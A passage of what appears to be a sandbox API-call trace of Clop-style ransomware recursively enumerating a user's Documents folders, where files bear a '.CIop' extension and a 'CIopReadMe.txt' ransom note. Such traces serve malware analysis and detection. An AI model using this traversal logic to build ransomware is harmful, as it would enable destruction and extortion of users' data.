lpFindFileData=0x2dc5f78) returned 1 [0117.953] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.953] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 1 [0117.953] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 0 [0117.953] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.953] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0117.953] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0117.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.953] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0117.953] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0117.953] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0117.953] SetErrorMode (uMode=0x1) returned 0x1 [0117.953] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0117.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0117.953] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0117.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0117.953] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0117.954] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0117.954] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0117.954] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0117.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0117.954] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0117.954] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0117.954] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0117.954] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0117.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0117.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0117.954] SetErrorMode (uMode=0x1) returned 0x1 [0117.954] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0117.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0117.954] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0117.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0117.954] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0117.954] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0117.954] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0117.954] lstrlenW (lpString=".CIop") returned 5 [0117.954] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0117.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0117.954] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0117.954] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0117.954] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0117.954] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.955] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.955] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.955] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0117.955] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0117.955] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0117.955] SetErrorMode (uMode=0x1) returned 0x1 [0117.955] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0117.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0117.955] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0117.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0117.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0117.955] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0117.955] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0117.955] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.955] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.955] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.955] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0117.955] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0117.955] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0117.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0117.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0117.955] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0117.955] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0117.955] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.955] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.955] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.955] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0117.955] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0117.956] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0117.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0117.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0117.956] SetErrorMode (uMode=0x1) returned 0x1 [0117.956] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0117.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0117.956] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0117.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0117.956] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0117.956] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0117.956] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0117.956] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.956] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.956] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.956] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.956] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.956] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.956] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2="..") returned 1 [0117.956] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2=".") returned 1 [0117.956] lstrlenW (lpString=".CIop") returned 5 [0117.956] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.956] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2="..") returned 1 [0117.956] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2=".") returned 1 [0117.956] lstrlenW (lpString=".CIop") returned 5 [0117.956] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.956] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0117.956] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0117.956] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0117.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0117.956] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddb8 [0117.957] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0117.957] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0117.957] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.957] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.957] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.957] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.957] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.957] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.957] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0117.957] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0117.957] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.957] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0117.957] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0117.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.957] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0117.957] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0117.957] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0117.957] SetErrorMode (uMode=0x1) returned 0x1 [0117.957] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0117.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0117.957] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0117.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0117.957] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0117.958] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0117.958] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0117.958] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.958] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.958] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.958] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.958] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.958] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.958] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2="..") returned 1 [0117.958] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2=".") returned 1 [0117.958] lstrlenW (lpString=".CIop") returned 5 [0117.958] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.958] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0117.958] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0117.958] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0117.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0117.958] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0f8 [0117.958] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0117.958] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0117.958] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.958] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.958] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.958] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.958] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.958] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0117.958] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0117.958] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.959] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0117.959] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0117.959] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: 